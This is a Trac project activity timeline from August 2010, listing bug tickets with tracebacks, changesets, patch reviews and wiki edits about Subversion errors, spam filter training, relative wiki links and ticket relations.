09:59 InsideTrac: Trac - Ticket #9555 (RuntimeError: instance.__dict__ not accessible in restricted mode) created by magenik_ocean@…: <h4 id="HowtoReproduce">How to Reproduce</h4> While doing a GET operation on <tt>/</tt>, Trac issued an internal error. (please provide additional details here) Request parameters: <pre class="wiki">{} </pre> User agent: <tt>Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506)</tt> <h4 id="SystemInformation">System Information</h4> <table class="wiki"> <tr><td> <tt>Trac</tt> </td><td> <tt>0.12</tt> </td></tr><tr><td> <tt>Genshi</tt> </td><td> <tt>0.6</tt> </td></tr><tr><td> <tt>mod_wsgi</tt> </td><td> <tt>2.5 (WSGIProcessGroup WSGIApplicationGroup assembla.aion-dev.com|/aion-dev)</tt> </td></tr><tr><td> <tt>pysqlite</tt> </td><td> <tt>2.6.0</tt> </td></tr><tr><td> <tt>Python</tt> </td><td> <tt>2.4.3 (#1, Sep 3 2009, 15:37:37) </tt> <tt>[GCC 4.1.2 20080704 (Red Hat 4.1.2-46)]</tt> </td></tr><tr><td> <tt>setuptools</tt> </td><td> <tt>0.6c9</tt> </td></tr><tr><td> <tt>SQLite</tt> </td><td> <tt>3.7.0</tt> </td></tr><tr><td> <tt>Subversion</tt> </td><td> <tt>1.6.12 (r955767)</tt> </td></tr><tr><td> <tt>jQuery</tt> </td><td> <tt>1.4.2</tt> </td></tr></table> <h4 id="EnabledPlugins">Enabled Plugins</h4> <table class="wiki"> <tr><td> <tt>TracAccountManager</tt> </td><td> <tt>0.2.1dev-r0</tt> </td></tr></table> <h4 id="PythonTraceback">Python Traceback</h4> <pre class="wiki">Traceback (most recent call last): File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 513, in _dispatch_request File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 200, in dispatch File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 346, in _pre_process_request File "build/bdist.linux-x86_64/egg/trac/versioncontrol/api.py", line 330, in pre_process_request File "build/bdist.linux-x86_64/egg/trac/versioncontrol/api.py", line 526, in get_repository File "build/bdist.linux-x86_64/egg/trac/versioncontrol/svn_fs.py", line 302, in get_repository File "build/bdist.linux-x86_64/egg/trac/versioncontrol/svn_fs.py", line 316, in __init__ File "build/bdist.linux-x86_64/egg/trac/versioncontrol/svn_fs.py", line 152, in __init__ File "/usr/local/lib/svn-python/svn/core.py", line 241, in svn_pool_create return Pool(parent_pool) File "/usr/local/lib/svn-python/libsvn/core.py", line 1555, in svn_pool_create return apply(_core.svn_pool_create, args) File "/usr/local/lib/svn-python/libsvn/core.py", line 5738, in _wrap obj.set_parent_pool(self) File "/usr/local/lib/svn-python/libsvn/core.py", line 5651, in set_parent_pool self._parent_pool = parent_pool or application_pool File "/usr/local/lib/svn-python/libsvn/core.py", line 5639, in <lambda> __setattr__ = lambda self, name, value: _swig_setattr(self, apr_pool_t, name, value) File "/usr/local/lib/svn-python/libsvn/core.py", line 24, in _swig_setattr return _swig_setattr_nondynamic(self,class_type,name,value,0) File "/usr/local/lib/svn-python/libsvn/core.py", line 19, in _swig_setattr_nondynamic self.__dict__[name] = value RuntimeError: instance.__dict__ not accessible in restricted mode </pre>
09:13 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: I can reproduce the issue here. This happens when <tt>anonymous</tt> has access to a sub-directory of a repository, but not to the root. But that's because there's actually nothing to show. We should probably allow access to the parent directories of any items for which the user has permission.
08:35 InsideTrac: Trac - Ticket #9400 (0.12 environment upgrade gives cryptic error message with postgresql) closed by rblank: fixed: Fixed in <a class="changeset" href="http://trac.edgewall.org/changeset/9986" title="0.12.1dev: Improved the error reporting when backing up the database. In ...">[9986]</a> and <a class="changeset" href="http://trac.edgewall.org/changeset/9987" title="0.12.1dev: Follow-up to [9986], added missing import. ">[9987]</a>.
08:35 InsideTrac: Trac - Changeset [9987]: 0.12.1dev: Follow-up to [9986], added missing import. by rblank: 0.12.1dev: Follow-up to <a class="changeset" href="http://trac.edgewall.org/changeset/9986" title="0.12.1dev: Improved the error reporting when backing up the database. In ...">[9986]</a>, added missing import.
08:31 InsideTrac: Trac - Changeset [9986]: 0.12.1dev: Improved the error reporting when backing up the database. In ... by rblank: 0.12.1dev: Improved the error reporting when backing up the database. In particular, catch the case when the backup tool (<tt>pg_dump</tt>, <tt>mysqldump</tt>) cannot be found. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9400" title="defect: 0.12 environment upgrade gives cryptic error message with postgresql (closed: fixed)">#9400</a>.
08:31 InsideTrac: Trac - Changeset [9986]: 0.12.1dev: Improved the error reporting when backing up the database. In ... by rblank: 0.12.1dev: Improved the error reporting when backing up the database. In particular, catch the case when the backup tool (<tt>pg_dump</tt>, <tt>mysqldump</tt>) cannot be found. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9400" title="defect: 0.12 environment upgrade gives cryptic error message with postgresql (new)">#9400</a>.
08:00 InsideTrac: Trac - Ticket #9162 (More modularity for preferences) updated by Bartosz Szatkowski <bulislaw@…>: Ok - fixed both 1) Sorry for that, i may use "stock" vim on my vm 2) You're right - ive refactored my patch further: <ul><li>Added _name and _title - keeping panels name and tab title </li><li>get_preference_panels moved to base class (using _name and _title) </li><li>common part of render_preference_panel moved to base class </li><li>render_preference_panel in each panel know only about itself </li></ul> Tests: all ok
07:59 InsideTrac: Trac - prefs_panels_as_separate_modules.patch attached to Ticket #9162 by Bartosz Szatkowski <bulislaw@…>
06:57 InsideTrac: Trac - Ticket #9540 (Deleting a Ticket Component blocks access to Tickets which used it.) closed by rblank: worksforme: I cannot reproduce the issue here with current 0.11-stable. The ticket still displays correctly after deletion of the component, and the component still appears correctly in the select box of that ticket. Note that the error you have seen may be due to a plugin. A full backtrace from the log could help identify the plugin. The fact that you still see it in other tickets as well is due to caching, it will disappear if you restart the web server. This has been fixed in 0.12.
04:52 InsideTrac: Trac - Ticket #9554 (plain text download of wiki pages reveals comments not meant for public ...) updated by cboos: Owner, Keywords, Milestone changed Replying to <a href="http://trac.edgewall.org/ticket/9554#comment:1" title="Comment 1 for Ticket #9554">rblank</a>: <blockquote class="citation"> <ul><li>Something else? </li></ul></blockquote> I believe he expected to get the page formatted as plain text, which is indeed different than getting the wiki source. Once we have this feature, we could offer two download links: Wiki source and Plain Text, and only the latter when viewing read-only pages (i.e. for getting to the source, one should have the 'edit' permission). I don't find another ticket for this right now, though it's pretty likely there's already one.
04:00 InsideTrac: Trac - Ticket #9554 (plain text download of wiki pages reveals comments not meant for public ...) updated by rblank: Priority, Severity changed Err, if that content must not be leaked, don't put it into the page? That's certainly neither critical nor of high priority, as there is a simple, intuitive way of avoiding the issue. What would you have expected, then? <ul><li>That <tt>{{{#!comment}}}</tt> sections are stripped from the plaintext? </li><li>That it should be possible to disable the plain text download functionality? </li><li>Something else? </li></ul>
00:27 InsideTrac: Trac - TracInstallUbuntu edited by bonzo@…: Added a TRAC_ADMIN so the web admin panel is available (<a href="http://trac.edgewall.org/wiki/TracInstallUbuntu?action=diff&version=4">diff</a>)

08/06/10:

18:16 InsideTrac: Trac - Ticket #9554 (plain text download of wiki pages reveals comments not meant for public ...) created by Carsten Klein <carsten.klein@…>: I find this one critical in that one might prototype content in the wiki that is not meant to be released to the public yet. In order to reconstruct the scenario, <ol><li>create a new wiki page </li><li>enter some content </li><li>enter <pre class="wiki"> {{{ #!comment TBD Critical information that must not yet be leaked to the public. }}} </pre></li></ol><ol start="4"><li>download as plain text </li></ol> in the downloaded plain text you can see also the comment with content that was not yet meant to be consumed by the public.
17:28 InsideTrac: Trac - Ticket #5476 (Translation of Trac to Portuguese/Português [pt_BR]) updated by Adrian Fritz <adrian@…>: Ocorrência is a good one too! And it's equivalent to Incidente. (If adhere a guideline: to avoid words requiring special characters on computers as much as possible. That's another story). I think chamado it's restrictive for the sense of general issue (from bug report, help desk, requirement management, ...). Same for demanda Regards, Adrian
17:25 InsideTrac: Trac - 0.11/TracOnUbuntu edited by anonymous: (<a href="http://trac.edgewall.org/wiki/0.11/TracOnUbuntu?action=diff&version=48">diff</a>)
17:23 InsideTrac: Trac - 0.11/TracOnUbuntu edited by bonzo@…: Add TRAC_ADMIN step (<a href="http://trac.edgewall.org/wiki/0.11/TracOnUbuntu?action=diff&version=47">diff</a>)
17:14 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) closed by rblank: fixed: Applied in <a class="changeset" href="http://trac.edgewall.org/changeset/9985" title="0.12.1dev: Recognize relative and absolute !CamelCase references ...">[9985]</a>.
17:13 InsideTrac: Trac - Changeset [9985]: 0.12.1dev: Recognize relative and absolute !CamelCase references ... by rblank: 0.12.1dev: Recognize relative and absolute CamelCase references (<tt>./SomePage</tt>, <tt>../SomePage</tt>, <tt>/SomePage</tt>) as wiki links. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/6884" title="defect: ./TracLinks does not work (closed: fixed)">#6884</a>.
16:50 InsideTrac: Trac - TracDev/Proposals/TicketLinks created by cboos: overview of the ticket-links approach for implementing <a class="new ticket" href="http://trac.edgewall.org/ticket/31" title="enhancement: Bug dependencies/relations feature (new)">#31</a>
15:13 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by cboos: Yep, I've tested the patch by looking at all my wiki pages and found no issues besides: <ul><li>parent links ../<parent> not working, but not related to this patch as <tt>[../<parent>]</tt> also doesn't work </li><li><a class="wiki" href="http://trac.edgewall.org/wiki/CamelCase">CamelCase</a> prefixed by - get recognized, as in <a class="wiki" href="http://trac.edgewall.org/wiki/CamelCase">CamelCase</a>-<a class="missing wiki" href="http://trac.edgewall.org/wiki/OtherCamelCase" rel="nofollow">OtherCamelCase?</a>, which I'm not sure we want, but this is more related to <a class="closed ticket" href="http://trac.edgewall.org/ticket/4542" title="defect: Inconsistent treatment of underscores in Wiki Page Names (closed: fixed)">#4542</a> I fixed yesterday </li></ul>
14:55 InsideTrac: Trac - SandBox/MySubPage edited by cboos: (<a href="http://trac.edgewall.org/wiki/SandBox/MySubPage%20?action=diff&version=2">diff</a>)
13:57 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by rblank: The patch above fixes the issue, but the fix broke a test case for camelcase counter-examples, more specifically <tt>/ThisIsNotWikiEither</tt> and <tt>/ThisIs/NotWikiEither</tt> are now considered camelcase links. Ok to commit?
13:55 InsideTrac: Trac - 6884-relative-camelcase-r9984.patch attached to Ticket #6884 by rblank: Allow relative and absolute prefix to CamelCase links.
13:31 InsideTrac: Trac - TracImport edited by alex.fetters@…: better description on <a class="missing wiki" href="http://trac.edgewall.org/wiki/TicketImportPlugin" rel="nofollow">TicketImportPlugin?</a> (<a href="http://trac.edgewall.org/wiki/TracImport?action=diff&version=23">diff</a>)
13:29 InsideTrac: Trac - TracImport edited by alex.fetters@…: added the far superior <a class="missing wiki" href="http://trac.edgewall.org/wiki/TicketImportPlugin" rel="nofollow">TicketImportPlugin?</a> for those coming from non-supported systems (<a href="http://trac.edgewall.org/wiki/TracImport?action=diff&version=22">diff</a>)
12:09 InsideTrac: Trac - Ticket #7658 (Option to disable automatic linking of CamelCase) updated by rblank: Links in the <a class="wiki" href="http://trac.edgewall.org/wiki/TracGuide">TracGuide</a> will have to be made explicit, and in the spirit of <a class="wiki" href="http://trac.edgewall.org/wiki/TracDev/Proposals/NewHelp">TracDev/Proposals/NewHelp</a>, we could use a prefix of <tt>help:</tt> or <tt>guide:</tt> or <tt>tracguide:</tt> (which one? I vote for <tt>help:</tt>).
11:45 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/6884#comment:17" title="Comment 17 for Ticket #6884">rblank</a>: <blockquote class="citation"> Right, I have never really liked automatic camelcase linking anyway. Want me to push <a class="new ticket" href="http://trac.edgewall.org/ticket/7658" title="enhancement: Option to disable automatic linking of CamelCase (new)">#7658</a> into 0.12-stable as well? </blockquote> Eventually yes, but maybe rather for 0.12.2. <blockquote class="citation"> Of course, I would also update all pages in the <a class="wiki" href="http://trac.edgewall.org/wiki/TracGuide">TracGuide</a> to use explicit links. </blockquote> ... and we should then take the opportunity to use the <tt>Help:</tt> or <tt>tracguide:</tt> prefix. For now that could simply be an alias to the wiki, but it would be a step in direction of <a class="new ticket" href="http://trac.edgewall.org/ticket/3386" title="enhancement: Embedding part of Wiki in other Wiki (e.g. Help: prefix for the TracGuide) (new)">#3386</a>.
11:24 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by rblank: Right, I have never really liked automatic camelcase linking anyway. Want me to push <a class="new ticket" href="http://trac.edgewall.org/ticket/7658" title="enhancement: Option to disable automatic linking of CamelCase (new)">#7658</a> into 0.12-stable as well? Of course, I would also update all pages in the <a class="wiki" href="http://trac.edgewall.org/wiki/TracGuide">TracGuide</a> to use explicit links.
10:48 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by cboos: I suspect that after this change, we'll get some more votes for <a class="new ticket" href="http://trac.edgewall.org/ticket/7658" title="enhancement: Option to disable automatic linking of CamelCase (new)">#7658</a> ;-)
10:01 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/6884#comment:14" title="Comment 14 for Ticket #6884">cboos</a>: <blockquote class="citation"> But only for <a class="wiki" href="http://trac.edgewall.org/wiki/CamelCase">CamelCase</a> pages, I'd say, ... </blockquote> That was my intention, yes. It's probably only a matter of tweaking a regexp, as the resolution mechanism is already implemented. I'll also make sure that absolute references work (<tt>/WikiPage</tt>).
09:51 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by cboos: But only for <a class="wiki" href="http://trac.edgewall.org/wiki/CamelCase">CamelCase</a> pages, I'd say, as the risk of collision is quite high, e.g. when people are talking about files (as in "when you're in the lib/ directory, the behavior depends on the ../control.cfg file").
08:59 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) reopened by rblank: The <tt>./SubWikiPage</tt> and <tt>../WikiPage/SubWikiPage</tt> syntax was never intended to be supported (at least by me), but I can see that it would make sense. Let's add it (<a class="wiki" href="http://trac.edgewall.org/wiki/PatchWelcome">PatchWelcome</a>, of course).
08:39 InsideTrac: Trac - Ticket #9553 (TypeError: train() takes at least 5 non-keyword arguments (4 given)) created by stuartm: <h4 id="HowtoReproduce">How to Reproduce</h4> While doing a POST operation on <tt>/admin/spamfilter/bayes</tt>, Trac issued an internal error. Manually pasting spam into the text field and clicking train as spam/ham. The Mark selected as spam/ham options on the monitoring page also fail to train bayes, but in that instance it fails quietly. Both the stable <a class="missing wiki" href="http://trac.edgewall.org/wiki/SpamBayes" rel="nofollow">SpamBayes?</a> 1.0.4 and development 1.1a6 fail in the same way. Request parameters: <pre class="wiki">{'__FORM_TOKEN': u'4005804e2c5029c088674356', 'cat_id': u'spamfilter', 'content': u'shouthstami\r\n\r\nlandscapes <a href="http://www.betsielarkin.com/profiles/blogs/redtube-orgasme-redtube-videos">redtube</a>, kenji http://www.betsielarkin.com/profiles/blogs/redtube-orgasme-redtube-videos - redtube, cheapest <a href="http://forum.thesqlgroup.com/members/swdefr.aspx">redtube</a>, pandemics http://forum.thesqlgroup.com/members/swdefr.aspx - redtube, corning <a href="http://blogs.catch21.ca/members/rtfgvb.aspx">redtube</a>, serva http://blogs.catch21.ca/members/rtfgvb.aspx - redtube, maketa <a href="http://milfia.com/members/mnkjiu.aspx">redtube</a>, refine http://milfia.com/members/mnkjiu.aspx - redtube, porphyrin ', 'min_training': u'25', 'panel_id': u'bayes', 'path_info': None, 'train': u'Train as Spam'} </pre> User agent: <tt>Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.6.30 Version/10.60</tt> <h4 id="SystemInformation">System Information</h4> <table class="wiki"> <tr><td> <tt>Trac</tt> </td><td> <tt>0.12</tt> </td></tr><tr><td> <tt>Genshi</tt> </td><td> <tt>0.6</tt> </td></tr><tr><td> <tt>mod_wsgi</tt> </td><td> <tt>2.5 (WSGIProcessGroup trac WSGIApplicationGroup %{GLOBAL})</tt> </td></tr><tr><td> <tt>Pygments</tt> </td><td> <tt>0.10</tt> </td></tr><tr><td> <tt>pysqlite</tt> </td><td> <tt>2.4.1</tt> </td></tr><tr><td> <tt>Python</tt> </td><td> <tt>2.5.2 (r252:60911, Jan 24 2010, 18:02:01) </tt> <tt>[GCC 4.3.2]</tt> </td></tr><tr><td> <tt>pytz</tt> </td><td> <tt>2008c</tt> </td></tr><tr><td> <tt>setuptools</tt> </td><td> <tt>0.6c11</tt> </td></tr><tr><td> <tt>SQLite</tt> </td><td> <tt>3.5.9</tt> </td></tr><tr><td> <tt>Subversion</tt> </td><td> <tt>1.5.1 (r32289)</tt> </td></tr><tr><td> <tt>jQuery</tt> </td><td> <tt>1.4.2</tt> </td></tr></table> <h4 id="EnabledPlugins">Enabled Plugins</h4> <table class="wiki"> <tr><td> <tt>TracSpamFilter</tt> </td><td> <tt>0.3.2dev-r9949</tt> </td></tr><tr><td> <tt>TracTicketDelete</tt> </td><td> <tt>2.0</tt> </td></tr><tr><td> <tt>TracTicketLock</tt> </td><td> <tt>0.1</tt> </td></tr></table> <h4 id="PythonTraceback">Python Traceback</h4> <pre class="wiki">Traceback (most recent call last): File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 513, in _dispatch_request dispatcher.dispatch(req) File "build/bdist.linux-x86_64/egg/trac/web/main.py", line 235, in dispatch resp = chosen_handler.process_request(req) File "build/bdist.linux-x86_64/egg/trac/admin/web_ui.py", line 116, in process_request path_info) File "/usr/lib/python2.5/site-packages/TracSpamFilter-0.3.2dev_r9949-py2.5.egg/tracspamfilter/admin.py", line 348, in render_admin_panel spam='spam' in req.args['train'].lower()) TypeError: train() takes at least 5 non-keyword arguments (4 given) </pre>
07:48 InsideTrac: Trac - Ticket #9552 (Attempting to edit milestone creates new milestone) closed by anonymous: worksforme: My mistake. As noted in the other ticket the problem was a bad fcgi setup.
07:47 InsideTrac: Trac - Ticket #9551 (Error: Invalid milestone name) closed by ianmlewis@…: worksforme: aha, Apparently it was running behind fastcgi with an incorrect setup. I didn't set it up so I didn't know it was going though the fastcgi layer. Sorry for the ticket.
06:34 InsideTrac: Trac - Ticket #6884 (./TracLinks does not work) updated by anonymous: The title of the ticket suggests that this ticket it is about ./ links in general. Looking at the patch in <a class="changeset" href="http://trac.edgewall.org/changeset/8732" title="0.12dev: Allow relative wiki page references in `wiki:` links: ...">[8732]</a>, the tests in <a class="source" href="http://trac.edgewall.org/browser/trunk/trac/wiki/tests/wikisyntax.py?rev=9541">source:trunk/trac/wiki/tests/wikisyntax.py?rev=9541</a> as well as the documentation it seems to fix only part of the problem. (Is there another related ticket for the following problem??) <pre class="wiki">WikiPage/SubWikiPage or ./SubWikiPage or ../WikiPage/SubWikiPage [WikiPage/SubWikiPage] or [./SubWikiPage] or [../WikiPage/SubWikiPage] [wiki:WikiPage/SubWikiPage] or [wiki:./SubWikiPage] or [wiki:../WikiPage/SubWikiPage] </pre> generates <pre class="wiki"><a class="missing wiki" href="/demo-0.12/wiki/WikiPage/SubWikiPage" rel="nofollow">Wiki Page/Sub Wiki Page?</a> or ./SubWikiPage or ../WikiPage/SubWikiPage [<a class="missing wiki" href="/demo-0.12/wiki/WikiPage/SubWikiPage" rel="nofollow">Wiki Page/Sub Wiki Page?</a>] or <a class="missing wiki" href="/demo-0.12/wiki/WikiPage/SubWikiPage" rel="nofollow">Sub Wiki Page?</a> or <a class="missing wiki" href="/demo-0.12/wiki/WikiPage/SubWikiPage" rel="nofollow">Wiki Page/Sub Wiki Page?</a> <a class="missing wiki" href="/demo-0.12/wiki/WikiPage/SubWikiPage" rel="nofollow">Wiki Page/Sub Wiki Page?</a> or <a class="missing wiki" href="/demo-0.12/wiki/WikiPage/SubWikiPage" rel="nofollow">Sub Wiki Page?</a> or <a class="missing wiki" href="/demo-0.12/wiki/WikiPage/SubWikiPage" rel="nofollow">Wiki Page/Sub Wiki Page?</a> </pre> <tt>./SubWikiPage</tt> and <tt>../WikiPage/SubWikiPage</tt> are not expanded if that is the desired behavior can somebody: <ul><li>add test that ommit the "wiki:" Prefix </li><li>change the documentation (<a class="wiki" href="http://trac.edgewall.org/wiki/TracLinks#Relativelinks">TracLinks#Relativelinks</a>) for <tt>./SubWikiPage</tt> </li><li>or point to another ticket that marks this as a bug. </li></ul>
06:09 InsideTrac: Trac - Ticket #250 (Email tickets to Trac) updated by sergey-miryanov@…: I'm vote up.
05:29 InsideTrac: Trac - TracSubversion edited by Laurens Blanckenborg <laurens@…>: Typo. (<a href="http://trac.edgewall.org/wiki/TracSubversion?action=diff&version=82">diff</a>)
05:12 InsideTrac: Trac - Ticket #9551 (Error: Invalid milestone name) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9551#comment:2" title="Comment 2 for Ticket #9551">ianmlewis@…</a>: <blockquote class="citation"> We aren't using anything particularly special either. We're simply running tracd on port 4000. </blockquote> ... via an ajp proxy? Try the <tt>-q</tt> option (see <a class="wiki" href="http://trac.edgewall.org/wiki/TracStandalone#Reference">TracStandalone#Reference</a>). This sounds like a duplicate of <a class="closed ticket" href="http://trac.edgewall.org/ticket/8128" title="defect: tracd with flup can't cope with spaces in URLs (closed: fixed)">#8128</a>.
05:07 InsideTrac: Trac - Ticket #9162 (More modularity for preferences) updated by cboos: Hello Bartosz, The patch is a good start, however: <ul><li>you seem to have mixed space/tabs inside, please fix that first </li><li>if you split in different panel provider, then I think it makes more sense to have a <tt>render_preference_panel</tt> method in each, doing only the part it needs to do, rather than an inherited <tt>render_preference_panel</tt> that still knows about all... </li></ul>
04:56 InsideTrac: Trac - Ticket #2902 (OperationalError: SQL logic error or missing database) updated by tommi@…: I mean why waste time with open source? Use better and stable closed source cousins.
04:54 InsideTrac: Trac - Ticket #2902 (OperationalError: SQL logic error or missing database) updated by tommi@…: I feel strongly about this bug I want to help develop this by firstly smelling the code that is not obvious and editting the Python code whereever is applicable.
04:51 InsideTrac: Trac - TicketLinks created by cboos: Notes about the <a class="source" href="http://trac.edgewall.org/browser/ticket-links">ticket-links</a> branch for <a class="new ticket" href="http://trac.edgewall.org/ticket/31" title="enhancement: Bug dependencies/relations feature (new)">#31</a>
04:50 InsideTrac: Trac - Ticket #31 (Bug dependencies/relations feature) updated by cboos: Owner, Status, Keywords, Priority changed I've made a few progress yesterday, it works a bit better but I also see a few issues or difficulties with this approach. As the notes in this comment grew bigger, I've moved it in a <a class="wiki" href="http://trac.edgewall.org/wiki/TicketLinks">TicketLinks</a> page describing the work in progress.
03:45 InsideTrac: Trac - Ticket #9550 (Ticket should be divisible) updated by cboos: Owner, Keywords, Milestone changed Actually a duplicate of <a class="reopened ticket" href="http://trac.edgewall.org/ticket/886" title="enhancement: Add support for Master tickets (reopened)">#886</a>. However, as the present ticket nicely summarizes the design discussion that happened there, and given the fact that <a class="reopened ticket" href="http://trac.edgewall.org/ticket/886" title="enhancement: Add support for Master tickets (reopened)">#886</a> has grown quite long, let's keep the present ticket for discussing the implementation details, on top of <a class="source" href="http://trac.edgewall.org/browser/ticket-links">ticket-links</a>. So this ticket depends on <a class="new ticket" href="http://trac.edgewall.org/ticket/31" title="enhancement: Bug dependencies/relations feature (new)">#31</a>, and I already can see a few children tickets ;-) <ul><li>make the "progress bar" more easily reusable in other contexts than the milestone </li><li>in a first step we can have the "parent/children" ticket simply listed below Ticket relations (a la Redmine, cf. <a class="new ticket" href="http://trac.edgewall.org/ticket/31#comment:147" title="enhancement: Bug dependencies/relations feature (new)">ticket:31#comment:147</a>), but in a second step, have a specialized rendering with a milestone-like progress bar; this is probably related to some ideas from <a class="wiki" href="http://trac.edgewall.org/wiki/FieldRefactoring">FieldRefactoring</a>. </li><li>description/comment button for creating sub-tickets from the content; from the wiki content, we'd take the top-level list and divide it in as many sub-tickets as items; the tickets are not created right away, rather we're just in a preview mode (extend the new ticket form so that we can create multiple tickets in one go) </li></ul>
03:45 InsideTrac: Trac - Ticket #9550 (Ticket should be divisible) updated by cboos: Owner, Keywords, Milestone changed Actually a duplicate of <a class="reopened ticket" href="http://trac.edgewall.org/ticket/886" title="enhancement: Add support for Master tickets (reopened)">#886</a>. However, as the present ticket nicely summarizes the design discussion that happened there, and given the fact that <a class="reopened ticket" href="http://trac.edgewall.org/ticket/886" title="enhancement: Add support for Master tickets (reopened)">#886</a> has grown quite long, let's keep the present ticket for discussing the implementation details, on top of <a class="source" href="http://trac.edgewall.org/browser/ticket-links">ticket-links</a>. So this ticket depends on <a class="reopened ticket" href="http://trac.edgewall.org/ticket/31" title="enhancement: Bug dependencies/relations feature (reopened)">#31</a>, and I already can see a few children tickets ;-) <ul><li>make the "progress bar" more easily reusable in other contexts than the milestone </li><li>in a first step we can have the "parent/children" ticket simply listed below Ticket relations (a la Redmine, cf. <a class="reopened ticket" href="http://trac.edgewall.org/ticket/31#comment:147" title="enhancement: Bug dependencies/relations feature (reopened)">ticket:31#comment:147</a>), but in a second step, have a specialized rendering with a milestone-like progress bar; this is probably related to some ideas from <a class="wiki" href="http://trac.edgewall.org/wiki/FieldRefactoring">FieldRefactoring</a>. </li><li>description/comment button for creating sub-tickets from the content; from the wiki content, we'd take the top-level list and divide it in as many sub-tickets as items; the tickets are not created right away, rather we're just in a preview mode (extend the new ticket form so that we can create multiple tickets in one go) </li></ul>
03:22 InsideTrac: Trac - Ticket #9551 (Error: Invalid milestone name) updated by ianmlewis@…: We aren't using anything particularly special either. We're simply running tracd on port 4000. The particular text that failed for me was 'BECKキャンペーン'
03:18 InsideTrac: Trac - Ticket #9552 (Attempting to edit milestone creates new milestone) updated by rblank: Probably related to <a class="closed ticket" href="http://trac.edgewall.org/ticket/9551" title="defect: Error: Invalid milestone name (closed: worksforme)">#9551</a>.
03:18 InsideTrac: Trac - Ticket #9552 (Attempting to edit milestone creates new milestone) updated by rblank: Probably related to <a class="new ticket" href="http://trac.edgewall.org/ticket/9551" title="defect: Error: Invalid milestone name (new)">#9551</a>.
03:17 InsideTrac: Trac - Ticket #9551 (Error: Invalid milestone name) updated by rblank: Keywords changed It's working fine here with accented characters and <tt>tracd</tt>. Could you please tell us which web fontend you are using? Are you using a proxy, or a special setup like proxying through nginx? Also, could you please paste a milestone name here that fails on your setup?
03:11 InsideTrac: Trac - Ticket #9550 (Ticket should be divisible) updated by rblank: Related to <a class="new ticket" href="http://trac.edgewall.org/ticket/31" title="enhancement: Bug dependencies/relations feature (new)">#31</a>. Duplicate?
03:11 InsideTrac: Trac - Ticket #9550 (Ticket should be divisible) updated by rblank: Related to <a class="reopened ticket" href="http://trac.edgewall.org/ticket/31" title="enhancement: Bug dependencies/relations feature (reopened)">#31</a>. Duplicate?
03:11 InsideTrac: Trac - TracReports edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracReports?action=diff&version=47">diff</a>)
03:07 InsideTrac: Trac - WikiFormatting edited by anonymous: (<a href="http://trac.edgewall.org/wiki/WikiFormatting?action=diff&version=99">diff</a>)

Note: See TracTimeline for information about the timeline view.

Download in other formats:

RSS Feed